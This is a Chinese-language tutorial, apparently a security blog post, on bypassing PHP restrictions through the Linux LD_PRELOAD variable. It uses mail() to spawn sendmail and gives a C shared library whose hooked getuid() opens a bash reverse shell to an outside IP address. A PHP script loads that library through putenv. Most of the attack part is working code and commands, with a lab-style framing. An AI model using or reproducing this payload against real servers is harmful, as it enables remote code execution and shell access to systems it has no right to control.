什么是LD_PRELOAD
LD_PRELOAD是Linux/Unix系统的一个环境变量,它影响程序的运行时的链接(Runtime linker),它允许在程序运行前定义优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。
我们可以重写程序运行过程中所调用的函数并将其编译为动态链接库文件,然后通过我们对环境变量的控制来让程序优先加载这里的恶意的动态链接库,进而实现我们在动态链接库中所写的恶意函数。
实现绕过
绕过步骤
步骤分为以下两步:
第一 php需要启动一个新的进程
第二 控制环境变量
利用 mail 函数启动新进程
(1)我们在nginx/html目录下写一个web.php
<?php
mail("a@localhost","","","","");
?>
(2)再用命令去追踪系统调用,看他它调用了哪些动态链接库,或是启动了哪些新进程
strace -f php web.php 2>&1 | grep -A2 -B2 execve
(3)我们再来查看sendmail,就像上面查看ls一样,然后找比较方便的动态链接库
readelf -Ws /usr/sbin/sendmail
(4)编译反弹shell
hook_getuid.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
system("bash -c 'bash -i >& /dev/tcp/192.168.150.133/2333 0>&1'");
}
uid_t getuid() {
if (getenv("LD_PRELOAD") == NULL) {
return 0;
}
unsetenv("LD_PRELOAD");
payload();
}
然后再重复上面的步骤
(5)修改web.php,添加putenvputenv函数来实现链接库的设置
<?php
putenv('LD_PRELOAD=/usr/local/nginx/html/hook_getuid.so');// 注意这里的目录要有访问权限
mail("a@localhost","","","","");
?>
(6)给予权限
chown -R apache:apache hook_getuid.so
chown -R apache:apache web.php
(7)启动web.php
php web.php
因为环境原因没有显示连接成功,等我环境配置好后再来。